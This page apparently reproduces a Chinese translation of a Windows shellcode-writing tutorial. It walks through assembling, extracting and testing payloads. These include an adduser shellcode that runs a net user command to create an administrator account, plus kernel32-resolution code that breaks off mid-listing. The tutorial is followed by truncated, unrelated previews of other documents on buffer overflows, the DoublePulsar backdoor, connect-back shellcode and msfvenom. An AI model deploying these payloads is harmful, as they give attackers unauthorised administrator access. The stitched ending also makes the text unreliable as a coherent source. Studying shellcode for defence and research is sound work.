当前位置:文档之家› Shellcode指南

Shellcode指南

Shellcode指南
Shellcode指南

Shellcode

目录

1: 概述和工具 (1)

1.1 概述 (1)

1.2 Windows与Linux的Shellcode 有什么不同? (2)

1.3 建立环境 (2)

1.4 其他工具 (4)

1.4.1 Metasploit (4)

1.4.2 OllyDbg 1.10 (4)

1.4.3 lcc-win32 (4)

2. 我的第一个shellcode (4)

2.1 说明 (4)

2.2 怎样从windows DLL里发现要使用的函数地址 (5)

2.3 汇编代码 (6)

2.4 编译汇编代码 (7)

2.5 获取shellcode (7)

2.6 测试shellcode (8)

3. 怎么在汇编里使用字符串 (9)

4. 函数Hash表 (10)

4.1 概述 (10)

4.2 目标 (10)

4.3 使用OllyDbg运行分析shellcode (14)

5. 动态Shellcode (18)

5.1 目标 (18)

5.2 建立函数Hash表 (18)

1: 概述和工具

1.1 概述

The assembly tutorials contained within this site are aimed towards creating assembly code in the aim to get you ready to create your own assembly and shellcode - which would hopefully be included with the "Project Shellcode Development Framework".

1.2 Windows与Linux的Shellcode 有什么不同?

摘自: (https://www.doczj.com/doc/46549046.html,/shellcode/shellcode.html)

Linux提供了直接的方式与内核进行交互(通过int 0x80 接口)。可以在下列网址找到完整的Linux syscall 表https://www.doczj.com/doc/46549046.html,rmatik.htw-dresden.de/~beck/ASM/syscall_list.html。

Windows 没有直接提供内核访问接口。系统需要从运行的DLL(动态连接库)里获取要使用的函数的地址来进行交互。关键的不同在于在Windows下每一个操作系统版本的函数的地址都是不同的,而Linux下int 0x80 syscall编号是固定的。

Windows程序员这样做,是因为他们不用担心任何内核的变化带来的麻烦;但是在Linux 世界所有内核级的函数都有一个固定的编号,如果他们变了,会有超过100万的程序员很生气,后果很严重。

那么我们怎么在windows下发现需要的DLL函数的地址呢?在不同的windows版本下又是怎么处理的呢?

(https://www.doczj.com/doc/46549046.html,/shellcode/shellcode.html)

目前有多种方式找到你需要使用的函数的地址。本系列指南描述了两种方法来定位函数的地址;你可以使用函数的硬编码地址。在本指南使用硬编码方式获取函数地址。本指南里唯一需要保证映射到shellcode的地址空间里的dll是kernel32.dll。这个dll包含了函数LoadLibrary和GetProcAddress,这两个函数用于获取映射到进程地址空间里的其他函数的地址。使用这个方法有个问题,就是不同版本的Windwos相同函数的地址的偏移可能不一样。所以如果使用这种方法,你的shellcode就只能在特定的Windows平台上运行。

动态发现函数地址的机制将在后续指南里讲述。

1.3 建立环境

我们先把焦点放在Windows 汇编创建的上;然而Linux系统对于开发汇编和shellcode 真的很方便。基于上述原因,我们使用Cygwin作为平台来开发shellcode。

先下载Cygwin的安装文件https://www.doczj.com/doc/46549046.html,/setup.exe。安装时选择下列包。

- Devel->binutils (contains ld, as, objdump)

- Devel->gcc

- Devel->make

- Devel->nasm

- Devel->gdb

- Editors->hexedit

- Editors->vim

- Net->netcat

- System->util-linux

当你的Cygwin安装好后,下载下列工具。一些是我写的脚本可以让我们的工作更容易些。你可以把它们保存在下列目录:C:\cygwin\home\Administrator\shellcode\,Administrator

是你的用户名。

名称说明下载地址

xxd-shellcode.sh 解析xxd输出用于提取原始的shellcode https://www.doczj.com/doc/46549046.html,/downl

oads/xxd-shellcode.sh

shellcode-compiler.sh 自动编译汇编代码,提取原始的shellcode,

创建一个Unicode的针对原始shellcode进

行编码后的Shellcode,注入你编码后的

shellcode到"Template Exploit"(ms07-004)

进行测试,创建一个包含你shellcode 的C

测试程序,并且编译好,只差运行了。是不

是很给力。https://www.doczj.com/doc/46549046.html,/downl oads/shellcode-compiler.sh

或者

https://www.doczj.com/doc/46549046.html,/downl oads/shellcode-compiler.zip

findFunctionInDLL.sh 找出系统中哪一个DLL包含你指定的函数https://www.doczj.com/doc/46549046.html,/downl

oads/findFunctionInDLL.sh

arwin.c Win32 DLL 地址获取程序https://www.doczj.com/doc/46549046.html,/shellcod

e/arwin.c

或者

https://www.doczj.com/doc/46549046.html,/downl

oads/arwin.c

shellcodetest.c https://www.doczj.com/doc/46549046.html,/shellcod

e/shellcodetest.c

或者

https://www.doczj.com/doc/46549046.html,/downl

oads/shellcodetest.c

启动bash shell进入前面创建的shellcode路径。

cd /home/Administrator/shellcode/

现在,你需要编译arwin.c。

gcc -o arwin arwin.c

现在你可以通过输入./arwin 执行arwin命令显示他的使用信息。

我们不需要编译shellcodetest.c。他在测试shellcode是才使用。

1.4 其他工具

1.4.1 Metasploit

The Metasploit Framework is an awesome resource for shellcoding. At the time of writing, the Metasploit team are about to release version Framework 3.3, which runs in a cygwin environment on Windows。

https://https://www.doczj.com/doc/46549046.html,/framework-3.3-dev.exe

https://www.doczj.com/doc/46549046.html,/downloads/framework-3.3-dev.exe

This version of the framework gets installed into C:\msf3\ and has its own dedicated cygwin environment. Y ou can launch a shell via shell.bat.

There are also some awesome Windows programs that we will start to use in Tutorial 4, so download the following tools:

1.4.2 OllyDbg 1.10

- OllyDbg 1.10 (A wesome Windows Debugger)

http://www.ollydbg.de/odbg110.zip

(Project Shellcode Download: https://www.doczj.com/doc/46549046.html,/downloads/odbg110.zip)

1.4.3 lcc-win32

lcc-win32,自由Windows C 编译器

http://www.q-software-solutions.de/pub/lccwin32.exe

https://www.doczj.com/doc/46549046.html,/downloads/lccwin32.exe)

2. 我的第一个shellcode

2.1 说明

本节描述了如何使用工具完成一个shellcode的编写。看看怎么找到windows 函数的地址,怎么编译汇编代码,怎么运行shellcode。在这一节我们将创建一个最简单的shellcode,她完成下面工作,Sleep5秒然后退出。这节内容参照

https://www.doczj.com/doc/46549046.html,/shellcode/shellcode.html.

2.2 怎样从windows DLL里发现要使用的函数地址

Windows允许我们通过调用"Sleep"函数实现Sleep功能。因此我们需要知道使用这个函数的我们需要做些什么工作?在汇编里我们使用"call 0xXXXXXXXX"指令,XXXXXXXX是函数在内存里的地址。因此我们需要找到这个函数的加载的地址。

我们可以使用arwin 程序来完成这个功能。

$ ./arwin.exe

arwin - win32 address resolution program - by steve hanna - v.01

./arwin

但是使用arwin.exe 需要我们知道函数是存在于哪一个DLL里的。我们可以通过脚本"findFunctionInDLL.sh"来找到函数在哪一个DLL里。

+----------------- Start findFunctionInDLL.sh -----------------+

#!/bin/bash

if [ $# -ne 1 ]

then

printf "\n\tUsage: $0 functionname\n\n"

exit

fi

functionname=$1

searchDir="/cygdrive/c/WINDOWS/system32"

arwin_exe="`pwd`/arwin.exe"

cd $searchDir

ls -1d *.dll | grep -v gui | while read dll

do

printf "\r ";

printf "\r$dll";

count=0

count=`$arwin_exe $dll $functionname | grep -c "is located at"`

if [ $count -ne 0 ]

then

printf "\n";

$arwin_exe $dll $functionname | grep "is located at"

printf "\n";

fi

done

printf "\r ";

+----------------- End findFunctionInDLL.sh -----------------+

首先,你需要确认findFunctionInDLL.sh 里包含的搜索路径是否正确,通常情况下为/cygdrive/c/WINDOWS/system32 请根据实际情况进行更改。然后按下列方式执行,获得函数在哪一个DLL。

# ./findFunctionInDLL.sh Sleep

kernel32.dll

Sleep is located at 0x7c802442 in kernel32.dll

函数的地址在各个版本操作系统下可能不一样。我这里使用的XP SP2,这意味着我们的shellcode 只能在相应的操作系统版本下工作。后面我们会讲怎么动态获取函数地址。

现在你知道了函数在哪一个DLL,可以调用arwin.exe来获取函数在内存里的地址了。

# ./arwin.exe Kernel32.dll Sleep

arwin - win32 address resolution program - by steve hanna - v.01

Sleep is located at 0x7c802442 in Kernel32.dll

2.3 汇编代码

下面的代码(sleep.asm)你可以从https://www.doczj.com/doc/46549046.html,/shellcode/shellcode.html 找到原始的版本。Sleep.asm代码内容如下:

+----------------- Start sleep.asm -----------------+

;sleep.asm

[SECTION .text]

; 设置代码为32Bit

; Tip: 如果没有这一行,在更复杂的shellcode里,

; 指令的执行结果可能和你期待的不一样。

BITS 32

global _start

_start:

; 清eax 寄存器

; Tip: xor 是把寄存器置零的好方法。

xor eax,eax

; 把Sleep函数地址放到ebx寄存器。通过"./arwin.exe Kernel32.dll Sleep"获得的地址

mov ebx, 0x7c802442

; 暂停5000ms,把5000放入寄存器ax。

; Tip: ax是eax的低8位,尽可能的使用ax可以有效减少生成的指令集大小。

mov ax, 5000

; 把eax压入堆栈,作为Sleep函数的第一个参数。

; Tip: 当函数调用时,参数从stack里获取。

push eax

; call Sleep函数地址(存放在ebx寄存器里)

; Tip: Sleep 有一个参数,它将会从stack里获取参数。

call ebx

+----------------- End sleep.asm -----------------+

2.4 编译汇编代码

# nasm -f bin -o sleep.bin sleep.asm

2.5 获取shellcode

Now that we have a compiled binary file we can use the xxd tool to generate the shellcode for us. This can be done using the following xxd command, which will generate the following output: 现在我们有了一个编译好的二进制文件,我们可以使用xxd工具来获取我们的shellcode。xxd命令使用方法如下:

# xxd -i sleep.bin

unsigned char sleep_bin[] = {

0x31, 0xc0, 0xbb, 0x42, 0x24, 0x80, 0x7c, 0x66, 0xb8, 0x88, 0x13, 0x50,

0xff, 0xd3

};

unsigned int sleep_bin_len = 14;

为了方便,我们写了脚本把生成的shellcode 存成一个文件。Xxd-shellcode.sh的内容如下:

+----------------- Start xxd-shellcode.sh -----------------+

#!/bin/bash

if [ $# -ne 1 ]

then

printf "\n\tUsage: $0 filename.bin\n\n"

exit

fi

filename=`echo $1 | sed s/"\.bin$"//`

rm -f $filename.shellcode

for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`

do

echo -n "\\$i" >> $filename.shellcode

echo -n "\\$i"

done

echo

+----------------- End xxd-shellcode.sh -----------------+

程序使用汇编生成的二进制代码为输入文件。生成的文件将会自动命名为.shellcode,使用方式如下:

# ./xxd-shellcode.sh sleep.bin

\x31\xc0\xbb\x42\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3

2.6 测试shellcode

我们使用"shellcodetest.c"程序来测试我们的shellcode。首先,我们需要把shellcode插入我们的C源文件中。打开shellcodetest.c,把shellcode字节数组放入code全局数组里。

+----------------- Start updated shellcodetest.c -----------------+

/*shellcodetest.c*/

char code[] = "\x31\xc0\xbb\x42\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3";

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

+----------------- End updated shellcodetest.c -----------------+

编译shellcodetest.c 程序:

# gcc -o shellcodetest shellcodetest.c

Gcc会生成一个可执行文件"shellcodetest.exe"。现在你可以运行这个程序了,这个shellcode 只是简单的sleep 5秒然后退出,在退出时可能会有异常,在这里我们不管他。

# ./shellcodetest.exe

(sleeps for 5 seconds)

(then exits - and may core dump)

祝贺你,你已经完成了你的第一个shellcode。

3. 怎么在汇编里使用字符串

这一节我们通过一个例子来看看怎么在汇编里使用字符串资源。下面的例子用于为系统增加了一个用户,并把它添加到了管理员权限里。

例子汇编代码如下:

+----------------- Start adduser.asm -----------------+

;adduser.asm

[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand ;跳转到获取命令字符串的位置

CommandReturn: ;定义一个标签用于调用从堆栈里获取命令字符串

pop ebx ;ebx 现在指向的是字符串资源

xor eax,eax ; 清eax寄存器

push eax ;把null压入堆栈作为函数调用的参数值

push ebx ;把命令字符串压入堆栈

mov ebx,0x7c8615b5 ;把函数WinExec 的地址放入ebx寄存器

call ebx ;调用WinExec(path,showcode)

xor eax,eax ;再次清eax寄存器,清掉WinExec的返回值(返回值通常放置在eax)

push eax ;把null放入堆栈作为后续函数调用的参数

mov ebx, 0x7c81ca82 ;把函数ExitProcess 的地址放入ebx寄存器

call ebx ; 调用函数ExitProcess(0);

GetCommand: ;定义标签用于定位命令字符串

call CommandReturn ;调用返回标签,返回地址会被压入堆栈,这个时候返回地址就是命令字符串

db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser" ;命令字符串

db 0x00 ;字符串终止符NULL。

+----------------- End adduser.asm -----------------+

4. 函数Hash表

4.1 概述

在前面的指南里,我们已经知道怎么获取指定函数的硬编码函数指针。但是这种方法不能适应各种版本的Windows。

本指南讲述了动态获取函数地址所需要的一些预备知识。在动态方式里,我们在初始话的时候根据函数名称创建一个hash表,然后遍历DLL匹配相应的函数名称,把找到的函数的地址放入到hash表里,以备后面shellcode使用。

4.2 目标

我们的目标是在我们的shellcode里创建一个hash生成程序,把我们的函数名列表字符串使用hash算法处理后放置到栈里。我们可以在OllyDbg的调试器里查看到这个列表。

这个程序展示了如何定义函数和常量。

这个程序没有什么令你兴奋的有攻击性的功能,她仅仅演示了如何在我们的shellcode 里生成一个函数的hash表。

下一节指南将会实现指南3里的功能的动态版本。那个shellcode将可以在所有的Windows平台运行。

下面是汇编代码hash-generator.asm.

+--------------- Start hash-generator.asm --------------+

;hash-generator.asm

[SECTION .text]

BITS 32

global _start

_start:

jmp start_asm

;DEFINE FUNCTIONS

;FUNCTION: get_current_address

get_current_address:

push 0 ;create a spot for our result

push eax ;save eax value

mov eax, [esp+8] ;copy the return address into eax

mov dword [esp+4], eax ;move return address into result spot

pop eax ;restore original eax value

ret ;return to instruction that called this function

;END FUNCTION: get_current_address

;FUNCTION: compute_hash

compute_hash:

push 0 ;create an empty spot for our result

pushad ;save current registers onto stack

mov eax, [esp+36] ;copy the return address into eax

mov dword [esp+32], eax ;move return address into our empty spot.

;orig return addr spot will be our result spot

xor edi, edi ;edi will hold our hash result

xor eax, eax ;eax holds our current char

cld

compute_hash_again:

lodsb ;puts current char into eax

test al, al ;checks for null - end of function string

jz compute_hash_finished

ror edi, 0xd ;rotate the current hash

add edi, eax ;adds current char to current hash

jmp compute_hash_again

compute_hash_finished: ;end of compute hash function

;edi now holds hash in 'reverse' order

mov edx, edi ;move the result hash into edx

reverse_next_hash_section:

mov al, dl ;move the first 8 bits into lower part of eax

shr edx, 8 ;shift edx right to align next 8 bits of hash

test dl, dl ;check for null - finished hash reversal

jz reverse_hash_finished

shl eax, 8 ;shift eax left ready for next hash section

jmp short reverse_next_hash_section ; loop back to move next section reverse_hash_finished: ;final hash is now in eax in correct order mov dword [esp+36], eax ;move return value into our return spot.

popad ;restore the original register values

ret ;return to instruction that called this function

;END FUNCTION: compute_hash

;DEFINE CONSTANTS

locate_constants: ;label start of constants

call get_current_address ;find current location in memory

pop esi ;esi is pointer to function strings

add esi, 9 ;move pointer over these commands

jmp short locate_constants_return ;return to our main code

;Function String

db "LoadLibraryA" ;result hash = 0x8e4e0eec

db 0x00

db "WriteFile" ;result hash = 0x1f790ae8

db 0x00

db "CloseHandle" ;result hash = 0xfb97fd0f

db 0x00

db "Sleep" ;result hash = 0xb0492ddb

db 0x00

db "ReadFile" ;result hash = 0x1665fa10

db 0x00

db "GetStdHandle" ;result hash = 0x23d88774

db 0x00

db "CreatePipe" ;result hash = 0x808f0c17

db 0x00

db "SetHandleInformation" ;result hash = 0x44119e7f

db 0x00

db "WinExec" ;result hash = 0x98FE8A0E

db 0x00

db "ExitProcess" ;result hash = 0x7ED8E273

db 0x00

;Null to indicate end of list

db 0x00

;END DEFINE CONSTANTS

start_asm:

int 3 ;start of main program

int 3 ;second int 3 purely just to show up in OllyDbg

jmp locate_constants ;find starting location of constants

locate_constants_return: ;define where to return after locating constants

next_hash: ;marks the start of the loop for next hash

push esi ;push esi as parameter to compute_hash function

call compute_hash ;compute_hash(esi_string)

;result now located in first position on stack

int 3 ;tell debugger to stop for each hash created

int 3 ;second int 3 purely just to show up in OllyDbg

xor eax,eax ;clear eax

check_null: ;moves pointer to start of next function string

lodsb ;puts current char into eax

test al,al ;test if we point to a null

jz is_null ;if we found a null, we reached end of string

jmp short check_null ;loop back and check next char

is_null:

lodsb ;puts current char into eax

dec esi ;move it back one spot

test al,al ;test if we point to a null

jnz next_hash ;2 nulls means end, else loop back for next hash

end:

int 3 ;calculated function hashes listed on stack

int 3 ;tell debugger to stop to show hashes on stack

int 3 ;second int 3 purely just to show up in OllyDbg

+--------------- End hash-generator.asm --------------+

4.3 使用OllyDbg运行分析shellcode

Executing and analyzing shellcode with OllyDbg

Y ou can start OllyDbg by simply double-clicking the executable within the zip file downloaded in Tutorial 1. Once it has started you want to use the File menu to open shellcodetest.exe, which would be located at a location something like "C:\cygwin\home\{username}\shellcode\lcc\shellcodetest.exe".

The following figure shows you what you should see once you have opened your executable with OllyDbg, along with some quick pointers of what you are looking at.

The above figure shows the executable loaded into OllyDbg.

The top left window shows the instructions that are going to be executed on the machine. Break points can be set on any instruction in real-time by double clicking any address on the far left in this window, which would show up in red. Double clicking it again cancels the break point. Any instruction can be changed in real-time by double clicking on the instruction itself.

The top right window shows the registers and the values that they hold. This allows you to easily see exactly what the instructions are doing on the registers. If the register changes after an instruction it is highlighted in red.

The bottom right window is the stack. This allows you to see what is being pushed, stored, and popped on the stack in real time. This is awesome for understanding exactly how the stack is manipulated. Once you get a clear understanding of this it will help you understand how to write

more efficient shellcode.

The bottom left window is a memory dump, which allows you to see and search for raw bytes in memory. Y ou can click on any register, stack, or code address and select "Show in dump".

The "Play" button starts the program running and will keep running until it reaches either a break point, an access violation, or the end of the program. This can also be done by hitting "F9".

The "Step Into" button will execute one instruction at a time. If you reach a "call" instruction it will also step into the function and execute each instruction one by one also. This can also be done by hitting "F7".

The "Step Over" button will execute one instruction at a time also; however, if it reaches a "call" instruction it will "step over" the function, meaning that it will execute the function but won't show you every instruction.

For this tutorial, we are going to hit the "Play" (or F9) button to start our program. Since we have "int 3" instructions (break points) coded into our shellcode, the debugger will stop executing at the first break point it reaches. This is shown in the following figure:

The figure above shows one of our break points (int 3). This is the start of the main section of our

shellcode that we created above. If you wanted to see exactly what happens to each register and to the stack for each instruction throughout the program you could keep hitting the "Step Into" (F7) or "Step Over" (F8) buttons.

Remember that we had sets of two break points in a row in our code. This is so that when OllyDbg stops after the first "int 3" it would still show one "int 3", as shown in the figure above, so that we knew immediately that it stopped because of the break point. Otherwise if it stopped due to an error then an error message would appear in the status bar at the bottom of OllyDbg.

If you want to start the program executing again then hit the Play button twice (since we have two break points). This will take you to the next set of break points that we coded into our program, which are located after the function hash is calculated and pushed to the stack.

This time we can see the two break points in the clear. The call instruction before the break points is the "call compute_hash" instruction. This function calculates the hash and pushes it to the stack. Y ou can see this in the "Stack Window" where the function string has been pushed to the stack, followed by the calculated function hash.

Y ou need to remember that the stack is like stacking up a deck of cards. The last card pushed onto the stack is the one on top, and is the first to be popped off the stack. Y ou can also manipulate where the top of the stack is by changing the "esp" (extended stack pointer) register.

So we can see that the first function string has been found, pushed to the stack, and the corresponding hash has been calculated and pushed to the stack. If you now hit Play twice then you will see the next function name and hash get pushed onto the stack. If you keep doing this you should start to see something like the following, where a list of function names and hashes are located on the stack.

If you keep hitting Play you will eventually reach the end of the function name list and the program will jump down to the end, as shows by the three break points. This allows you to see the final list of function names and hashes, as shown below:

Congratulations!

Y ou have just created a hash generation program that defines, locates, and uses a list of function name strings and spits out a list of corresponding hashes onto the stack. Y ou have learned the basics of OllyDbg by executing the program within OllyDbg, allowing you to see the registers and stack in the clear.

Y ou have also learned how you can use a more structured approach when creating shellcode, allowing code reuse and more efficient shellcode.

Y ou will use this program over and over again when creating shellcode as you find you need to call new Windows functions and need the corresponding hashes. This is the first step in creating generic shellcode that can be used across different Windows operating systems.

Tutorial 6 will show you how to do exactly this! We will change the adduser.asm code to remove the hardcoded addresses. We will therefore need the function hashes generated in this tutorial for functions "WinExec" and "ExitProcess".

Enjoy!

5. 动态Shellcode

本指南描述了如何在Shellcode里动态获取函数地址。

5.1 目标

实现指南3里的程序的动态版本,不使用任何硬编码的函数地址。

我们首先在内存里定位Kernel32.dll,然后遍历Kernel32.dll里的每一个函数名,比较每一个函数的hash值。把需要的函数的地址存下来。

5.2 建立函数Hash表

在指南3里我们使用WinExec和ExitProcess命令为本地系统增加一个管理权限用户。在指南5里我们创建了上述函数的hash值,并且我们学会了怎么在我们的代码里创建常量。下面的片段展示了怎么在我们的ShellCode里创建hash常量。

+------------------ [snip] ------------------+

;DEFINE CONSTANTS

locate_hashes:

call locate_hashes_return

;WinExec ;result hash = 0x98FE8A0E

db 0x98

db 0xFE

db 0x8A

db 0x0E

;ExitProcess ;result hash = 0x7ED8E273

db 0x7E

db 0xD8

db 0xE2

db 0x73

;END DEFINE CONSTANTS

+------------------ [snip] ------------------+

5.3 怎么发现Kernel32.dll和需要的函数地址?

Kernel32.dll总是在Windows启动时载入,所有的Windows操作系统(Vista之前的)总是把Kernel32.dll加载到内存中一个可以计算的位置。这就允许我们定位出Kernel32.dll,然后我们进一步可以获得Kernel32.dll包含的所有函数的地址。

我们循环遍历每一个函数,我们根据函数名计算函数的hash与我们之前计算的hash值进行比较。如果hash匹配,那么我们就找到了函数。然后我们再第二次遍历寻找第二个Hash函数地址。

本指南的汇编代码包含了下列新的函数用于完成上列描述的功能。

find_kernel32

find_function

resolve_symbols_for_dll

5.4 shellcode

+--------------- Start adduser-dynamic.asm --------------+

;adduser-dynamic.asm

[SECTION .text]

BITS 32

global _start

_start:

jmp start_asm

;DEFINE FUNCTIONS

;FUNCTION: find_kernel32

find_kernel32:

push esi

xor eax, eax

mov eax, [fs:eax+0x30]

test eax, eax

js find_kernel32_9x

find_kernel32_nt:

mov eax, [eax + 0x0c]

mov esi, [eax + 0x1c]

lodsd

mov eax, [eax + 0x8]

jmp find_kernel32_finished

find_kernel32_9x:

mov eax, [eax + 0x34]

lea eax, [eax + 0x7c]

mov eax, [eax + 0x3c]

find_kernel32_finished:

pop esi

ret

;END FUNCTION: find_kernel32

;FUNCTION: find_function

说点shellcode

代码艺术,艺术,不得不让我想起shellcode,所以打算简单连载下shellcode的编写。 语言:c 编译环境: VC6.0 操作系统: windows XP 其实是win7虚拟机下跑的xp 看下面一个简单的程序 ,弹黑框程序 1.#include "windows.h" 2.#include "stdio.h" 3.int main() 4.{ 5.LoadLibrary("msvcrt.dll"); 6.system("cmd.exe"); 7.return 1; 8.} 因为system函数在msvcrt库中,所以在调用system函数前先加载该库。 那怎写一段shellcode实现上面弹框的功能呢? 一般两种方式,一是利用汇编实现上述功能,然后提取出二进制指令代码。 另一种就是利用内联汇编(在c程序中嵌入汇编代码),然后提取,如下利用内联汇编实现弹框代码(笔者比较喜欢此种方式)1.#include "windows.h" 2. 3.int main() 4.{ 5.__asm 6.{ 7.call _LoadLibrary 8._emit 'm' 9._emit 's'

10._emit 'v' 11._emit 'c' 12._emit 'r' 13._emit 't' 14._emit '.' 15._emit 'd' 16._emit 'l' 17._emit 'l' 18._emit 0 //字符串结束标志 19._LoadLibrary: 20.mov eax,0x7c801d7b 21.call eax 22. 23.call _system 24._emit 'c' 25._emit 'm' 26._emit 'd' 27._emit '.' 28._emit 'e' 29._emit 'x' 30._emit 'e' 31._emit 0 32._system: 33.mov eax, 0x77bf93c7 34.call eax 35.} 36.return 1; 37.} 复制代码 运行此程序,即弹出cmd命令框(当然将system函数的参数改下,也可以弹出计算器,有兴趣的可以试下),如下: 那这段代码是如何实现弹出cmd命令框的呢?写过c程序的人应该知道c中函数调用时参数由右到左逐个入栈的,参数入栈完毕后(这两个函数都只有一个参数),执行call指令,跳到要执行的函数处。 _emit伪指令的作用便是通知编译器直接在二进制文件中加入一个字符,以LoadlLibrary函数而言,参数为msvcrt.dll,将参数的所有字符逐个加到文件中,而前面一句call指令完成两个功能,一

Shellcode的原理及编写

1.shellcode原理 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。Shellcode 是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。 如下链接是shellcode编写的基础,仅供参考 https://www.doczj.com/doc/46549046.html,/uid-24917554-id-3506660.html 缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。 [cpp]view plaincopy 1.int fun(char *shellcode) 2.{ 3.char str[4]="";//这里定义4个字节 4. strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区 溢出 5. printf("%s",str); 6.return 1; 7.} 8.int main(int argc, char* argv[]) 9.{ 10.char str[]="aaaaaaaaaaaaaaaaaaa!"; 11. fun(str); 12.return 0; 13.} 如上程序,会导致缓冲区溢出。 程序运行后截图如下

Shellcode指南

Shellcode 目录 1: 概述和工具 (1) 1.1 概述 (1) 1.2 Windows与Linux的Shellcode 有什么不同? (2) 1.3 建立环境 (2) 1.4 其他工具 (4) 1.4.1 Metasploit (4) 1.4.2 OllyDbg 1.10 (4) 1.4.3 lcc-win32 (4) 2. 我的第一个shellcode (4) 2.1 说明 (4) 2.2 怎样从windows DLL里发现要使用的函数地址 (5) 2.3 汇编代码 (6) 2.4 编译汇编代码 (7) 2.5 获取shellcode (7) 2.6 测试shellcode (8) 3. 怎么在汇编里使用字符串 (9) 4. 函数Hash表 (10) 4.1 概述 (10) 4.2 目标 (10) 4.3 使用OllyDbg运行分析shellcode (14) 5. 动态Shellcode (18) 5.1 目标 (18) 5.2 建立函数Hash表 (18) 1: 概述和工具 1.1 概述 The assembly tutorials contained within this site are aimed towards creating assembly code in the aim to get you ready to create your own assembly and shellcode - which would hopefully be included with the "Project Shellcode Development Framework".

内核级后门“DoublePulsar”分析报告

内核级后门“DoublePulsar”分析报告 在Shadow Brokers组织泄露的NSA方程式工具中,DoublePulsar是一个无文件型的内核后门程序。值得注意的是,DoublePulsar同时使用了终端和网络的高级逃逸技术。首先它是一个无文件型的内核级别后门,被控制端的主机防护软件通常无法有效检测;其次它与被控制端的通讯使用正常协议进行伪装(SMB或者RDP协议),可逃逸常见的网络防护产品。 具体地,某些漏洞工具(EternalBlue、EternalRomance等)攻击成功后会篡改srv.sys 中SrvTransaction2DispatchTable表的第14项指针,从而在srv.sys中安装一个后门。而原始的SrvTransaction2DispatchTable表第14项指针指向的是SrvTransactionNotImplemented函数,在处理SMB协议的SMB_COM_TRANSACTION2消息时,会使用到该函数。这样DoublePulsar就可以与被控制机器通过特定的 SMB_COM_TRANSACTION2消息建立隐蔽信道,并执行相应攻击操作。 技术分析 1.在后门被成功安装前,查看SrvTransaction2DispatchTable表,可以发现该表第14项指向的为SrvTransactionNotImplemented函数。 2.后门安装成功后,SrvTransaction2DispatchTable表中的第14项便被修改。

修改后的函数如下: 3.DoublePulsar主要有以下几个功能: 4.以上功能在代码中都对应不同的处理方法,主要处理流程如下:

利用hash值取得函数地址的connect back shellcode

主页 安全文档 安全工具 安全漏洞 漏洞利用 红盟作品 开放项目 红盟社 区 关于我们 递交作品 作品总数: 38 个 本类作品: 19 个 关键字所有分类搜索快速通道 软件作品 文档作品 代码作品 <= 文档分类 Windows RPC DCOM DoS exploit Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem... Mysql 3.23.x/ 4.0.x remote exploit download url file shellcode for win2k/xp 利用hash 值取得函数地 址的connect back shellcode. 分析理解 elf 文件并且自动编排 shellcode 的程序 推荐作品 提交作品: lion 提交日期: 2003-09-17 作品属性: 推荐 文档类别: 代码作品 浏览次数: 今9次/总6234次 /****************************************************************** 作者: lion, lion@https://www.doczj.com/doc/46549046.html, 日期: 2003-09-17 网站: https://www.doczj.com/doc/46549046.html, 此shellcode 特点: a. 通过peb 取得kernel32.dll 地址 b. 通过函数的hash 值来进行比较,代替GetProcAddress 取得函数地址 c. 反连接功能 d. win2000/xp 测试成功 参考资料: https://www.doczj.com/doc/46549046.html,/documents/winasm-1.0.1.pdf https://www.doczj.com/doc/46549046.html,/sc/win32_reverse.asm ******************************************************************* #include #include //#include //#pragma comment(lib, "ws2_32") void shellcode(); void printsc(unsigned char *sc, int len); DWORD addr; unsigned char hash[0x300] = {0}; unsigned char sc[0x1000]; // 要打印hash 的函数列表 unsigned char buff[]= "LoadLibraryA\x0" 利用hash 值取得函数地址的connect back shellcode.

msfvenom教程

Msfvenom 简介 相信很多人升级最新的msf后找不到自己曾经熟悉的msfpayload了(所以说喜欢收集shellcode是一件好事),没错我特么的也找不到了。其实可以use到自己要使用的payload,然后制作。但是也有人喜欢直接在终端里生产自己的shellcode。另外我想也找不到msfencode 了,msfencode是shellcode的编码器,准确的来讲如果你自己编写一个shellcode并不怎么需要一个编码器,杀软杀掉的概率不大,即使是msf生成的shellcode也很大概率不被杀掉(也许我没用啥杀软)所以以前我也觉得编码器并不一定用得到。 我经常理论的思考问题,而不会实际的搞破坏,所以直到后来我才直到编码器的重要,因为msf生成的shellcode经常是无法使用的!!需要编码器进行处理,这个处理包括加壳,过滤坏字符,迭代编译,甚至是控制字符串大小。当然编码器也有其他的功能。 先说说payload和encode的关系,不然我想有些人会感到困惑,msf中payload模块是用来制作shellcode,也即是大家理解的用来搞破坏的机器码,对于没有汇编基础的人,几乎很难写出一个实用的shellcode,以前我也无奈,感觉被拒绝在安全大门之外了,好在有msfpayload,成全了一颗爱捣蛋的心。当然我也在一直学习着呢!我相信非常多的人甚至都不知道shellcode在栈中是怎么工作的,但是却已经可以利用shellcode搞破坏了。我希望不要这样。我不喜欢这种容易获得又有巨大危险性的技术掌握在一个不能自控的人手里。比如前一阵子的Hacking team泄露事件中的flash0day,直接装一个msf产生的shellcode就可以使用了,而根本不需要对漏洞原理或者shellcode原理懂太多。 有点说多了,encode 是编码器,也是为payload设计的,因为杀软会根据shellcode的特征进行杀毒,因此我们需要encode给payload加壳,这里的理论知识和软件免杀原理相同,不过现在杀软有沙箱功能了,在内存阶段从行为判定进行查杀,所以有些shellcode 可能用编码器怎么编码也完蛋了,当然我胡乱吹的,因为我没有尝试过,有那时间我还不如去做饭。 总的来说msfvenom 结合了payload 